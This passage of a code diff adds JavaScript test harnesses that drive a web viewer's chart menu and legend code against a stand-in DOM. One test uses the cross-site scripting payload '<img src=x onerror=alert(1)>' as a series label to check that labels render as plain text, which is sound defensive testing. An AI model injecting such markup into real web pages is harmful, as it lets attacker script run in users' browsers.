+const unk = charts.zoomableLineChart(spec({ title: "CPU", atTime: { server: "A", item: "nonsense" } }), "t12", scope);
+rightClick(unk, 521);
+out.unknownItemItems = labels(unk);
+const click = async (host, label) => {
+  const item = items(host).find((n) => n.textContent === label);
+  if (item) item.listeners.click[0]();
+  await settle();
+};
+const take = () => stub.calls.splice(0, stub.calls.length);
+
+await click(a, "Show Active Queries at This Time");
+out.queries = take();
+/* Once the router has built the tab, each item scrolls the panel of its own grid to the top of the view (scrolls). */
+out.scrollQueries = scrolls.splice(0);
+rightClick(blk, 521);
+await click(blk, "Show Blocking at This Time");
+out.blocking = take();
+out.scrollBlocking = scrolls.splice(0);
+/* The hash moved to another tab, so the router's own hashchange rebuilds the page: no event is raised for it. */
+out.dispatchedOnTabChange = out.dispatched || 0;
+rightClick(dl, 521);
+await click(dl, "Show Deadlocks at This Time");
+out.deadlocks = take();
+out.scrollDeadlocks = scrolls.splice(0);
+/* The hash was already #/server/A/blocking: setting it again fires nothing, so the event is raised once. */
+out.dispatchedOnSameTab = out.dispatched || 0;
+out.hashAfter = globalThis.location.hash;
+out.t0Plus5 = T0 + 5 * MIN;
+/* Each scroll listener ran once and is gone, so a later hashchange does not scroll again. */
+out.listenersLeft = hashListeners.length;
+
+/* A range the page refuses is reported on the chart, the hash stays put, and no scroll listener is left waiting. */
+globalThis.__rangeError = "The end cannot be in the future.";
+jump("#/server/A/cpu");
+rightClick(blk, 521);
+await click(blk, "Show Blocking at This Time");
+out.refusedHash = globalThis.location.hash;
+out.refusedStatus = find(blk, (n) => String(n.className) === "chart-menu-status")[0].textContent;
+out.refusedListeners = hashListeners.length;
+take();
+globalThis.__rangeError = null;
+
+/* The clamp: the plot's edges and beyond them hand the chart's own first and last time. */
+const edge = async (host, x, id) => {
+  rightClick(host, x);
+  await click(host, "Show Active Queries at This Time");
+  const c = take()[0];
+  return c ? (c.startMs + c.endMs) / 2 : null;
+};
+const e1 = charts.zoomableLineChart(spec({ title: "CPU", atTime: { server: "A" } }), "t2", scope);
+out.clampLeft = await edge(e1, -300);
+out.clampRight = await edge(e1, 5000);
+
+/* The nearest drawn point: a chart with only two points, at T0 and T0 + 10 min, across the 10-minute window. The menu names
+   the time of the point nearest the pointer, the one the hover tooltip names, not the raw pointer time (T0 + 5.85 min at
+   x = 600, which no point holds). The exact middle is equidistant from both, so that click may land on either. */
+const sparse = charts.zoomableLineChart(spec({ title: "CPU", atTime: { server: "A" }, points: [points[0], points[10]] }), "t8", scope);
+out.sparseNearLeft = await edge(sparse, 400);
+out.sparseNearRight = await edge(sparse, 600);
+out.sparseMiddle = await edge(sparse, 521);
+
+/* A click inside the last half hour: a range may not end in the future, so the hour is shifted to end now and still holds the time. */
+const realNow = Date.now;
+Date.now = () => T0 + 7 * MIN;
+const recent = charts.zoomableLineChart(spec({ title: "CPU", atTime: { server: "A" } }), "t7", scope);
+rightClick(recent, 521);
+await click(recent, "Show Active Queries at This Time");
+Date.now = realNow;
+out.nearNow = take()[0] || null;
+
+/* The server name is URL-encoded in the hash. */
+const odd = charts.zoomableLineChart(spec({ title: "CPU", atTime: { server: "Prod/One #1" } }), "t3", scope);
+rightClick(odd, 521);
+await click(odd, "Show Active Queries at This Time");
+out.encodedHash = take().length ? globalThis.location.hash : null;
+
+/* No atTime: the menu is the same as before. */
+const plain = charts.zoomableLineChart(spec({ title: "CPU" }), "t4", scope);
+rightClick(plain, 521);
+out.noAtTimeItems = labels(plain);
+
+/* Opened from the button, not the pointer: no clicked time, no items. */
+const viaButton = charts.zoomableLineChart(spec({ title: "CPU", atTime: { server: "A" } }), "t5", scope);
+btn(viaButton).listeners.click[0]();
+out.buttonItems = labels(viaButton);
+btn(viaButton).listeners.click[0]();
+
+/* Only the drawing names a time. The contextmenu listener sits on the whole chart box, so a right-click on the legend, the
+   status line or the open menu, and Shift+F10 on the button (the button is the target then), reach it too. Their x would be
+   mapped through the plot to a time the user never pointed at, so those menus offer only the usual three items. */
+const off = charts.zoomableLineChart(spec({ title: "CPU", atTime: { server: "A" } }), "t9", scope);
+const nodeOf = (pred, what) => {
+  const n = find(off, pred)[0];
+  if (!n) throw new Error("the chart has no " + what);
+  return n;
+};
+rightClick(off, 521, nodeOf((n) => String(n.className) === "chart-legend", "legend"));
+out.offPlotLegendItems = labels(off);
+rightClick(off, 521, nodeOf((n) => String(n.className) === "chart-menu-status", "status line"));
+out.offPlotStatusItems = labels(off);
+rightClick(off, 521, btn(off));
+out.offPlotButtonItems = labels(off);
+rightClick(off, 521);
+out.offPlotMenuBefore = labels(off).length;
+rightClick(off, 521, items(off)[0]);
+out.offPlotMenuItems = labels(off);
+closeMenu(off);
+
+/* A rebuild of the chart (the 60 s poll) keeps the open menu and its clicked time. */
+const k1 = charts.zoomableLineChart(spec({ title: "CPU", atTime: { server: "A" } }), "t6", scope);
+rightClick(k1, 521);
+const k2 = charts.zoomableLineChart(spec({ title: "CPU", atTime: { server: "A" } }), "t6", scope);
+out.rebuiltItems = labels(k2);
+await click(k2, "Show Active Queries at This Time");
+const kc = take()[0];
+out.rebuiltMiddle = kc ? (kc.startMs + kc.endMs) / 2 : null;
+
+/* A chart drawn at a measured width (1600 px, #5586): the plot spans x 58 to 1584, so its middle is x = 821 and still lands on
+   the point at T0 + 5 min, and the wait item still picks the series drawn nearest the click. */
+globalThis.__plotW = 1600;
+const wide = charts.zoomableLineChart(spec({ title: "CPU", atTime: { server: "A" } }), "t30", scope);
+const wideWait = charts.zoomableLineChart(spec({ title: "Waits", atTime: { server: "A", item: "wait" }, points: points.map((p) => ({ ...p, a: 100, b: 10 })), series: [{ key: "a", label: "WAIT_A", color: "#fff" }, { key: "b", label: "WAIT_B", color: "#0f0" }] }), "t31", scope);
+globalThis.__plotW = null;
+out.measuredWidth = Number(plotNode(wide).attrs.width);
+rightClick(wide, 821);
+await click(wide, "Show Active Queries at This Time");
+const wc = take()[0];
+out.measuredMiddle = wc ? (wc.startMs + wc.endMs) / 2 : null;
+rightClick(wideWait, 821, plotNode(wideWait), 30);
+out.measuredWaitItems = labels(wideWait);
+
+/* The wait trend chart (atTime.item "wait", #5235): two series, WAIT_A drawn high and WAIT_B low (the plot spans y 26 to 270
+   in a 300-high box), and the item names the series drawn nearest the click. */
+const util = await import(pathToFileURL(path.join(scratch, "util.js")).href);
+const waitPoints = points.map((p, i) => ({ ...p, a: 100, b: 10, c: i === 5 ? null : 1 }));
+const waitSeries = [
+  { key: "a", label: "WAIT_A", color: "#fff" },
+  { key: "b", label: "WAIT_B", color: "#0f0" },
+];
+const waitSpec = (extra) => spec({ title: "Waits", atTime: { server: "A", item: "wait" }, points: waitPoints, series: waitSeries, ...extra });
+const wHigh = charts.zoomableLineChart(waitSpec(), "t20", scope);
+rightClick(wHigh, 521, plotNode(wHigh), 30);
+out.waitHighItems = labels(wHigh);
+const wLow = charts.zoomableLineChart(waitSpec(), "t21", scope);
+rightClick(wLow, 521, plotNode(wLow), 270);
+out.waitLowItems = labels(wLow);
+util.setQueryWaitFilter("A", "");
+await click(wLow, "Show Queries With WAIT_B at This Time");
+out.waitCall = take();
+out.filterAfterWaitItem = util.queryWaitFilter("A");
+out.filterOtherServer = util.queryWaitFilter("B");
+out.waitHashAfter = globalThis.location.hash;
+
+/* A series with no value at the nearest point is not picked: only WAIT_B has one at T0 + 5 min here. */
+const onlyB = charts.zoomableLineChart(waitSpec({ points: waitPoints.map((p, i) => (i === 5 ? { ...p, a: null } : p)) }), "t22", scope);
+rightClick(onlyB, 521, plotNode(onlyB), 30);
+out.waitOnlyBItems = labels(onlyB);
+
+/* No series has a value there: the generic item, which also clears the wait filter, as a plain Active Queries item does. */
+const none = charts.zoomableLineChart(waitSpec({ points: waitPoints.map((p, i) => (i === 5 ? { ...p, a: null, b: null } : p)) }), "t23", scope);
+rightClick(none, 521, plotNode(none), 30);
+out.waitFallbackItems = labels(none);
+util.setQueryWaitFilter("A", "WAIT_A");
+await click(none, "Show Active Queries at This Time");
+out.filterAfterFallbackItem = util.queryWaitFilter("A");
+take();
+util.setQueryWaitFilter("A", "WAIT_A");
+rightClick(a, 521);
+await click(a, "Show Active Queries at This Time");
+out.filterAfterGenericItem = util.queryWaitFilter("A");
+take();
+util.setQueryWaitFilter("A", "WAIT_A");
+rightClick(blk, 521);
+await click(blk, "Show Blocking at This Time");
+out.filterAfterBlockingItem = util.queryWaitFilter("A");
+take();
+util.setQueryWaitFilter("A", "");
+
+/* A QDS_* wait is never linked: when it is the nearest series the item is the generic one, and clicking it clears the filter. */
+const qds = charts.zoomableLineChart(waitSpec({ series: [{ key: "a", label: "QDS_PRE_EMPTIVE", color: "#fff" }, waitSeries[1]] }), "t26", scope);
+rightClick(qds, 521, plotNode(qds), 30);
+out.qdsItems = labels(qds);
+util.setQueryWaitFilter("A", "WAIT_A");
+await click(qds, "Show Active Queries at This Time");
+out.filterAfterQdsItem = util.queryWaitFilter("A");
+take();
+util.setQueryWaitFilter("A", "");
+
+/* A rebuild of the chart (the 60 s poll) keeps the open menu and the wait it named. */
+const r1 = charts.zoomableLineChart(waitSpec(), "t24", scope);
+rightClick(r1, 521, plotNode(r1), 270);
+const r2 = charts.zoomableLineChart(waitSpec(), "t24", scope);
+out.restoredWaitItems = labels(r2);
+await click(r2, "Show Queries With WAIT_B at This Time");
+out.restoredWaitCall = take();
+out.restoredFilter = util.queryWaitFilter("A");
+util.setQueryWaitFilter("A", "");
+
+/* A wait name is text, never markup. */
+const markup = charts.zoomableLineChart(waitSpec({ series: [{ key: "a", label: "<img src=x onerror=alert(1)>", color: "#fff" }] }), "t25", scope);
+rightClick(markup, 521, plotNode(markup), 30);
+const markupItem = items(markup).find((n) => n.textContent.startsWith("Show Queries With"));
+out.markupItemText = markupItem ? markupItem.textContent : null;
+out.markupItemChildren = markupItem ? markupItem.children.length : -1;
+
+/* openServerTabAt, called directly: a null time keeps the range, a refused range runs nothing and routes nowhere. */
+jump("#/server/A/cpu");
+let ran = 0;
+out.keepRangeReturn = await charts.openServerTabAt("A", null, "queries", { beforeRoute: () => ran++, say() {} });
+out.keepRangeCalls = take().length;
+out.keepRangeBeforeRoute = ran;
+out.keepRangeHash = globalThis.location.hash;
+jump("#/server/A/cpu");
+ran = 0;
+globalThis.__rangeError = "The end cannot be in the future.";
+const said = [];
+out.refusedReturn = await charts.openServerTabAt("A", T0 + 5 * MIN, "queries", { beforeRoute: () => ran++, say: (m) => said.push(m) });
+out.refusedBeforeRoute = ran;
+out.refusedSaid = said;
+out.refusedDirectHash = globalThis.location.hash;
+globalThis.__rangeError = null;
+take();
+
+/* The wait filter helpers: per server, a blank (or non-text) wait deletes. */
+util.setQueryWaitFilter("S1", "CXPACKET");
+util.setQueryWaitFilter("S2", "LCK_M_X");
+out.filterS1 = util.queryWaitFilter("S1");
+out.filterS2 = util.queryWaitFilter("S2");
+out.filterUnset = util.queryWaitFilter("S3");
+util.setQueryWaitFilter("S1", "   ");
+out.filterS1Blank = util.queryWaitFilter("S1");
+util.setQueryWaitFilter("S2", null);
+out.filterS2Null = util.queryWaitFilter("S2");
+
+fs.rmSync(scratch, { recursive: true, force: true });
+console.log(JSON.stringify(out));
+process.exit(0);
diff --git a/Darling/Darling.Tests/web-chart-legend-harness.mjs b/Darling/Darling.Tests/web-chart-legend-harness.mjs
new file mode 100644
index 0000000000..16eda9b216
--- /dev/null
+++ b/Darling/Darling.Tests/web-chart-legend-harness.mjs
@@ -0,0 +1,322 @@
+/* Runs the web viewer's shipped charts.js (the legend hide/isolate of zoomableLineChart, with util.js) against a stand-in DOM,
+   clicks the legend, and prints what was drawn as one line of JSON.
+   WebChartLegendIsolateBehaviourTests starts it as
+       node web-chart-legend-harness.mjs <path to wwwroot/js>
+   The DOM is a node tree of plain objects that keeps the listeners it is given. */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const jsDir = process.argv[process.argv.length - 1];
+
+/* The keys whose default action a bubbled event's handler claimed (called preventDefault on), in order. Enter and Space
+   are claimed so the page does not scroll on Space; every other key is left alone. A scenario clears it with
+   `prevented.length = 0`, as it does `drilled`, then emits a copy beside what it drew. */
+const prevented = [];
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.className = "";
+    this.listeners = {};
+    this.text = text == null ? null : String(text);
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() {
+    return this.children[0] || null;
+  }
+  appendChild(child) {
+    child.parent = this;
+    this.children.push(child);
+    return child;
+  }
+  removeChild(child) {
+    const i = this.children.indexOf(child);
+    if (i >= 0) this.children.splice(i, 1);
+    return child;
+  }
+  setAttribute(name, value) {
+    this.attrs[name] = String(value);
+  }
+  getAttribute(name) {
+    return name in this.attrs ? this.attrs[name] : null;
+  }
+  addEventListener(type, listener) {
+    (this.listeners[type] = this.listeners[type] || []).push(listener);
+  }
+  setPointerCapture() {}
+  focus() {}
+  get offsetWidth() { return 0; }
+  get offsetHeight() { return 0; }
+  dispatch(type, ev) {
+    (this.listeners[type] || []).forEach((l) => l(ev || {}));
+  }
+  /* The browser's bubbling: the node's own listeners, then each ancestor's, until one calls stopPropagation. The event's
+     preventDefault records its key in `prevented`, so a scenario can tell a claimed key from one left alone. */
+  bubble(type, ev) {
+    const e = { preventDefault() { prevented.push(this.key); }, stopPropagation() { this.stopped = true; }, ...(ev || {}) };
+    for (let n = this; n && !e.stopped; n = n.parent) (n.listeners[type] || []).forEach((l) => l(e));
+  }
+  getBoundingClientRect() {
+    return { left: 0, top: 0, width: 1000, height: 320 };
+  }
+  set textContent(value) {
+    this.children = [];
+    this.text = String(value);
+  }
+  get textContent() {
+    return (this.text || "") + this.children.map((c) => c.textContent).join("");
+  }
+}
+
+globalThis.Node = FakeNode;
+globalThis.document = {
+  createElement: (tag) => new FakeNode(tag),
+  createElementNS: (ns, tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+  body: new FakeNode("body"),
+};
+globalThis.location = { hash: "#/server/A/waits" };
+let blobParts = null;
+globalThis.Blob = class { constructor(parts) { blobParts = parts; } };
+globalThis.URL.createObjectURL = () => "blob:stub";
+globalThis.URL.revokeObjectURL = () => {};
+
+const scratch = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), "chart-legend-")));
+let charts;
+let compose;
+try {
+  /* Copy the whole js tree (js/, js/pages/ and every subdirectory) rather than a hand-kept list (#5279): a page module that
+     another PR adds then needs no edit here. Only imported files load, so the rest are inert; every stand-in below is
+     written AFTER the copy, so it still replaces the real file. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  charts = await import(pathToFileURL(path.join(scratch, "charts.js")).href);
+  await import(pathToFileURL(path.join(scratch, "grid-tools.js")).href);
+  fs.writeFileSync(path.join(scratch, "panels.js"), "export function navigateServer() {}\nexport function gridTable() { return document.createElement(\"div\"); }\n");
+  fs.writeFileSync(path.join(scratch, "views-api.js"), "export async function getCatalog() { return { compose: {} }; }\n");
+  compose = await import(pathToFileURL(path.join(scratch, "compose.js")).href);
+} catch (e) {
+  fs.rmSync(scratch, { recursive: true, force: true });
+  throw e;
+}
+
+const find = (node, pred, out = []) => {
+  if (pred(node)) out.push(node);
+  node.children.forEach((c) => find(c, pred, out));
+  return out;
+};
+const T0 = Date.UTC(2026, 0, 1, 0, 0, 0);
+const MIN = 60000;
+const points = Array.from({ length: 11 }, (_, i) => ({ t: new Date(T0 + i * MIN).toISOString().slice(0, 19), big: 1000 + i * 100, small: i % 5, mid: 3 + (i % 3) }));
+const specFor = () => ({
+  points,
+  xKey: "t",
+  series: [
+    { key: "big", label: "BIG", color: "#f00" },
+    { key: "small", label: "SMALL", color: "#0f0" },
+    { key: "mid", label: "MID", color: "#00f" },
+  ],
+  windowStart: T0,
+  windowEnd: T0 + 10 * MIN,
+});
+const cls = (n) => String(n.className || n.attrs.class || "");
+const legendItems = (host) => find(host, (n) => /\bitem\b/.test(cls(n)) && n.tag === "span" && cls(n).includes("switchable"));
+const entry = (host, label) => legendItems(host).find((n) => n.children[1].textContent === label);
+const target = (host, label) => entry(host, label); // an undrillable entry carries the click itself
+const lines = (host) => find(host, (n) => n.tag === "polyline" && cls(n).includes("series-line")).length;
+const topTick = (host) => {
+  const ticks = find(host, (n) => n.tag === "text" && /^[0-9.]+$/.test(n.textContent) && n.attrs["text-anchor"] === "end").map((n) => Number(n.textContent));
+  return Math.max(...ticks);
+};
+const showAll = (host) => find(host, (n) => n.tag === "button" && cls(n).includes("legend-show-all"))[0];
+const state = (host) => ({
+  lines: lines(host),
+  top: topTick(host),
+  off: legendItems(host).filter((n) => cls(n).includes("legend-off")).map((n) => n.children[1].textContent),
+  pressed: Object.fromEntries(legendItems(host).map((n) => [n.children[1].textContent, n.attrs["aria-pressed"]])),
+  showAll: !!showAll(host),
+  showAllText: showAll(host) ? showAll(host).textContent : null,
+});
+const click = (host, label, ev) => target(host, label).dispatch("click", ev);
+const dbl = (host, label) => target(host, label).dispatch("dblclick", {});
+
+globalThis.fetch = async () => ({
+  status: 200,
+  ok: true,
+  text: async () => JSON.stringify({
+    sql: "select 1",
+    rows: Array.from({ length: 11 }, (_, i) => [["AAA", 1000 + i * 100], ["BBB", i % 5]].map(([w, v]) => ({ bucket: new Date(T0 + i * MIN).toISOString().slice(0, 19), wait: w, value: v }))).flat(),
+  }),
+});
+const composedPanel = (title) => ({ source: "waits", viz: "line", measure: "wait_ms", title, groupBy: ["wait"] });
+const composedScope = { server: "A", hours: 4 };
+const drawComposed = async (title, slot) => {
+  const body = new FakeNode("div");
+  await compose.renderComposedInto(body, composedPanel(title), composedScope, { panelSlot: slot });
+  return body;
+};
+
+const out = {};
+const scope = charts.chartZoomScope(4);
+
+// 1. toggle hides and re-shows
+const a = charts.zoomableLineChart(specFor(), "c1", scope);
+out.initial = state(a);
+click(a, "BIG");
+out.afterHide = state(a);
+click(a, "BIG");
+out.afterShow = state(a);
+
+// 2. the axis rescales to the visible series
+click(a, "BIG");
+out.rescaled = state(a);
+click(a, "BIG");
+
+// 3. isolate shows exactly one; a second isolate of the same one restores
+dbl(a, "SMALL");
+out.isolated = state(a);
+dbl(a, "SMALL");
+out.isolateUndone = state(a);
+
+// 4. show all after an isolate; a toggle never hides the last visible series
+dbl(a, "MID");
+out.beforeShowAll = state(a);
+showAll(a).dispatch("click", {});
+out.afterShowAll = state(a);
+click(a, "BIG");
+click(a, "SMALL");
+click(a, "MID");
+out.lastKept = state(a);
+showAll(a).dispatch("click", {});
+
+// 5. the state survives a rebuild (the poll) of the same chart
+click(a, "BIG");
+const rebuilt = charts.zoomableLineChart(specFor(), "c1", scope);
+out.rebuilt = state(rebuilt);
+out.held = charts.getChartHidden("c1", scope);
+
+// 6. it does not leak to another server, another range, or another chart
+globalThis.location.hash = "#/server/B/waits";
+out.otherServer = state(charts.zoomableLineChart(specFor(), "c1", charts.chartZoomScope(4)));
+globalThis.location.hash = "#/server/A/waits";
+out.otherRange = state(charts.zoomableLineChart(specFor(), "c1", charts.chartZoomScope(24)));
+out.otherChart = state(charts.zoomableLineChart(specFor(), "c2", scope));
+
+// 7. the CSV export (through the chart menu) carries exactly the shown series
+const exportCsv = async (host) => {
+  const btn = find(host, (n) => n.tag === "button" && n.attrs["aria-label"] === "Chart menu")[0];
+  if (!find(host, (n) => n.attrs.role === "menuitem").length) btn.listeners.click[0]();
+  find(host, (n) => n.attrs.role === "menuitem" && n.textContent.startsWith("Export Data to CSV"))[0].listeners.click[0]();
+  await new Promise((r) => setTimeout(r, 50));
+  const rows = String(blobParts[1]).split("\r\n").slice(1).filter(Boolean);
+  return [...new Set(rows.map((r) => r.split(",")[1]))];
+};
+const csvHost = charts.zoomableLineChart(specFor(), "c3", scope);
+out.csvAll = await exportCsv(csvHost);
+click(csvHost, "BIG");
+out.csvHidden = await exportCsv(csvHost);
+
+// 8. a stacked chart re-stacks over what is visible
+const stackedSpec = () => ({ ...specFor(), mode: "stacked" });
+const st = charts.zoomableLineChart(stackedSpec(), "c4", scope);
+out.stackedBefore = state(st);
+click(st, "BIG");
+out.stackedAfter = state(st);
+
+// 9. a composed panel: hidden state survives its rebuild and does not reach a second composed panel
+const cp1 = await drawComposed("Waits one", 0);
+click(cp1, "AAA");
+out.composedHidden = state(cp1);
+out.composedRebuilt = state(await drawComposed("Waits one", 0));
+out.composedOtherPanel = state(await drawComposed("Waits two", 1));
+globalThis.location.hash = "#/server/B/waits";
+out.composedOtherServer = state(await drawComposed("Waits one", 0));
+globalThis.location.hash = "#/server/A/waits";
+
+// 10. an entry that drills keeps its drill beside the switch: the label drills (click, Enter, Space), the swatch hides or shows
+const drilled = [];
+const drillSeries = () => specFor().series.map((x) => ({ ...x, drill: [{ dimension: "wait", value: x.label }] }));
+const drillSpec = () => ({ ...specFor(), series: drillSeries(), onSelect: (d) => drilled.push(d[0].value) });
+const key = (k, extra) => ({ key: k, ...extra });
+const swatchOf = (host, label) => entry(host, label).children[0];
+const labelOf = (host, label) => entry(host, label).children[1];
+const dr = charts.zoomableLineChart(drillSpec(), "c5", scope);
+out.drillInitial = {
+  ...state(dr),
+  itemClass: cls(entry(dr, "BIG")),
+  swatchRole: swatchOf(dr, "BIG").attrs.role,
+  swatchPressed: swatchOf(dr, "BIG").attrs["aria-pressed"],
+  labelRole: labelOf(dr, "BIG").attrs.role,
+  labelTab: labelOf(dr, "BIG").attrs.tabindex,
+  itemTitle: entry(dr, "BIG").attrs.title,
+};
+labelOf(dr, "BIG").bubble("click");
+out.drillAfterLabelClick = { drilled: [...drilled], ...state(dr) };
+swatchOf(dr, "BIG").bubble("click");
+out.drillAfterSwatchClick = { drilled: [...drilled], ...state(dr), swatchPressed: swatchOf(dr, "BIG").attrs["aria-pressed"] };
+labelOf(dr, "BIG").bubble("click"); // a hidden series' label still drills, and drilling does not bring it back
+out.drillWhileHidden = { drilled: [...drilled], ...state(dr) };
+swatchOf(dr, "BIG").bubble("click");
+drilled.length = 0;
+prevented.length = 0;
+labelOf(dr, "SMALL").bubble("keydown", key("Enter"));
+labelOf(dr, "MID").bubble("keydown", key(" "));
+labelOf(dr, "MID").bubble("keydown", key("Tab"));
+out.drillAfterKeys = { drilled: [...drilled], prevented: [...prevented], ...state(dr) };
+drilled.length = 0; // from here on, nothing the swatch does may drill
+prevented.length = 0;
+swatchOf(dr, "SMALL").bubble("keydown", key("Enter"));
+out.drillSwatchEnter = { drilled: [...drilled], prevented: [...prevented], ...state(dr) };
+swatchOf(dr, "SMALL").bubble("keydown", key("Enter", { shiftKey: true }));
+out.drillSwatchShiftEnter = { drilled: [...drilled], prevented: [...prevented], ...state(dr) };
+swatchOf(dr, "SMALL").bubble("dblclick");
+out.drillSwatchDblClick = { drilled: [...drilled], prevented: [...prevented], ...state(dr) };
+
+// 11. an entry that drills but has no switch (no onLegend): the whole entry drills, by click or key, once per click
+const noSwitchDrilled = [];
+const noSwitch = charts.renderLineChart({ ...specFor(), series: drillSeries(), onSelect: (d) => noSwitchDrilled.push(d[0].value) });
+const drillEntry = (label) => find(noSwitch, (n) => n.tag === "span" && /\bitem\b/.test(cls(n)) && n.children.length === 2 && n.children[1].textContent === label)[0];
+prevented.length = 0;
+const nsState = () => ({ drilled: [...noSwitchDrilled], prevented: [...prevented], lines: lines(noSwitch), switchable: legendItems(noSwitch).length, showAll: !!showAll(noSwitch) });
+out.noSwitchInitial = { ...nsState(), itemClass: cls(drillEntry("BIG")), itemRole: drillEntry("BIG").attrs.role, itemTab: drillEntry("BIG").attrs.tabindex, labelRole: drillEntry("BIG").children[1].attrs.role ?? null };
+drillEntry("BIG").children[0].bubble("click"); // the swatch
+out.noSwitchSwatchClick = nsState();
+drillEntry("SMALL").children[1].bubble("click"); // the label: one drill, not two
+out.noSwitchLabelClick = nsState();
+drillEntry("MID").bubble("keydown", key(" "));
+drillEntry("MID").bubble("keydown", key("Enter"));
+out.noSwitchKeys = nsState();
+
+// 12. the keyboard on an entry with no drill: Enter or Space toggles, Shift+Enter or Shift+click isolates, other keys do nothing
+const kb = charts.zoomableLineChart(specFor(), "c6", scope);
+const kbPrevented = [];
+const keyP = (k, extra) => ({ key: k, preventDefault: () => kbPrevented.push(k), ...extra });
+target(kb, "BIG").dispatch("keydown", keyP("Enter"));
+out.kbEnterHides = state(kb);
+target(kb, "BIG").dispatch("keydown", keyP(" "));
+out.kbSpaceShows = state(kb);
+target(kb, "BIG").dispatch("keydown", keyP("a"));
+out.kbOtherKey = state(kb);
+target(kb, "MID").dispatch("keydown", keyP("Enter", { shiftKey: true }));
+out.kbShiftEnterIsolates = state(kb);
+click(kb, "MID", { shiftKey: true });
+out.kbShiftClickRestores = state(kb);
+out.kbPrevented = kbPrevented;
+out.kbRoles = { role: target(kb, "BIG").attrs.role, tab: target(kb, "BIG").attrs.tabindex };
+
+// 13. a held hidden set that would hide every series of a refreshed chart (the others left the data) draws them all, not an empty plot
+const shrinkHeld = charts.zoomableLineChart(specFor(), "c7", scope);
+click(shrinkHeld, "BIG");
+click(shrinkHeld, "SMALL");
+const shrunk = specFor();
+shrunk.series = shrunk.series.filter((x) => x.key !== "mid");
+out.shrunk = state(charts.zoomableLineChart(shrunk, "c7", scope));
+
+fs.rmSync(scratch, { recursive: true, force: true });
+console.log(JSON.stringify(out));
diff --git a/Darling/Darling.Tests/web-chart-menu-harness.mjs b/Darling/Darling.Tests/web-chart-menu-harness.mjs
new file mode 100644
index 0000000000..38c516ad74
--- /dev/null
+++ b/Darling/Darling.Tests/web-chart-menu-harness.mjs
@@ -0,0 +1,177 @@
+/* Runs the web viewer's shipped charts.js (the chart menu on zoomableLineChart / renderLineChart) against a stand-in DOM,
+   opens the menu, clicks its items, and prints what the menu offered as one line of JSON.
+   WebChartMenuBehaviourTests starts it as
+       node web-chart-menu-harness.mjs <path to wwwroot/js> */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const jsDir = process.argv[process.argv.length - 1];
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.className = "";
+    this.listeners = {};
+    this.text = text == null ? null : String(text);
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() { return this.children[0] || null; }
+  appendChild(child) { this.children.push(child); return child; }
+  removeChild(child) {
+    const i = this.children.indexOf(child);
+    if (i >= 0) this.children.splice(i, 1);
+    return child;
+  }
+  setAttribute(name, value) { this.attrs[name] = String(value); }
+  getAttribute(name) { return name in this.attrs ? this.attrs[name] : null; }
+  addEventListener(type, listener) { (this.listeners[type] = this.listeners[type] || []).push(listener); }
+  setPointerCapture() {}
+  focus() {}
+  click() {}
+  get offsetWidth() { return this.attrs.role === "menu" ? 176 : 0; }
+  get offsetHeight() { return this.attrs.role === "menu" ? 100 : 0; }
+  replaceChild(next, old) { const i = this.children.indexOf(old); if (i >= 0) this.children[i] = next; return old; }
+  /* The drawn plot svg reports the size it was drawn at (one SVG unit is one CSS pixel, 300 px high). The .chart box is
+     taller than its 300 px plot (the legend sits below it) and as wide as the chart was drawn: 1000, or globalThis.__plotW. */
+  getBoundingClientRect() {
+    if (this.tag === "svg" && this.attrs.width) return { left: 0, top: 0, width: Number(this.attrs.width), height: Number(this.attrs.height) };
+    return { left: 0, top: 0, width: globalThis.__plotW || 1000, height: 320 };
+  }
+  set textContent(value) { this.children = []; this.text = String(value); }
+  get textContent() { return (this.text || "") + this.children.map((c) => c.textContent).join(""); }
+}
+
+globalThis.Node = FakeNode;
+globalThis.document = {
+  createElement: (tag) => new FakeNode(tag),
+  createElementNS: (ns, tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+  body: new FakeNode("body"),
+};
+
+/* A ResizeObserver for the measured-width case only (#5586): while globalThis.__plotW is set, a watched plot box reports that
+   width as the chart is built, as the browser does once it has laid the chart out. Every other case runs with no report, so it
+   keeps the default width (1000). */
+globalThis.ResizeObserver = class {
+  constructor(cb) { this.cb = cb; }
+  observe(target) {
+    if (!globalThis.__plotW) return;
+    target.isConnected = true;
+    this.cb([{ contentRect: { width: globalThis.__plotW, height: 300 } }]);
+  }
+  disconnect() {}
+};
+globalThis.location = { hash: "#/server/A/waits" };
+let blobParts = null;
+globalThis.Blob = class { constructor(parts) { blobParts = parts; } };
+globalThis.URL.createObjectURL = () => "blob:stub";
+globalThis.URL.revokeObjectURL = () => {};
+
+const scratch = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), "chart-menu-")));
+let charts;
+try {
+  /* Copy the whole js tree (js/, js/pages/ and every subdirectory) rather than a hand-kept list (#5279): a page module that
+     another PR adds then needs no edit here. Only imported files load, so the rest are inert. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  charts = await import(pathToFileURL(path.join(scratch, "charts.js")).href);
+  /* The CSV item loads grid-tools.js on first click; load it now, while the scratch copy exists. */
+  await import(pathToFileURL(path.join(scratch, "grid-tools.js")).href);
+} catch (e) {
+  fs.rmSync(scratch, { recursive: true, force: true });
+  throw e;
+}
+
+const find = (node, pred, out = []) => {
+  if (pred(node)) out.push(node);
+  node.children.forEach((c) => find(c, pred, out));
+  return out;
+};
+const T0 = Date.UTC(2026, 0, 1, 0, 0, 0);
+const MIN = 60000;
+const points = Array.from({ length: 11 }, (_, i) => ({ t: new Date(T0 + i * MIN).toISOString().slice(0, 19), a: i, b: i * 2 }));
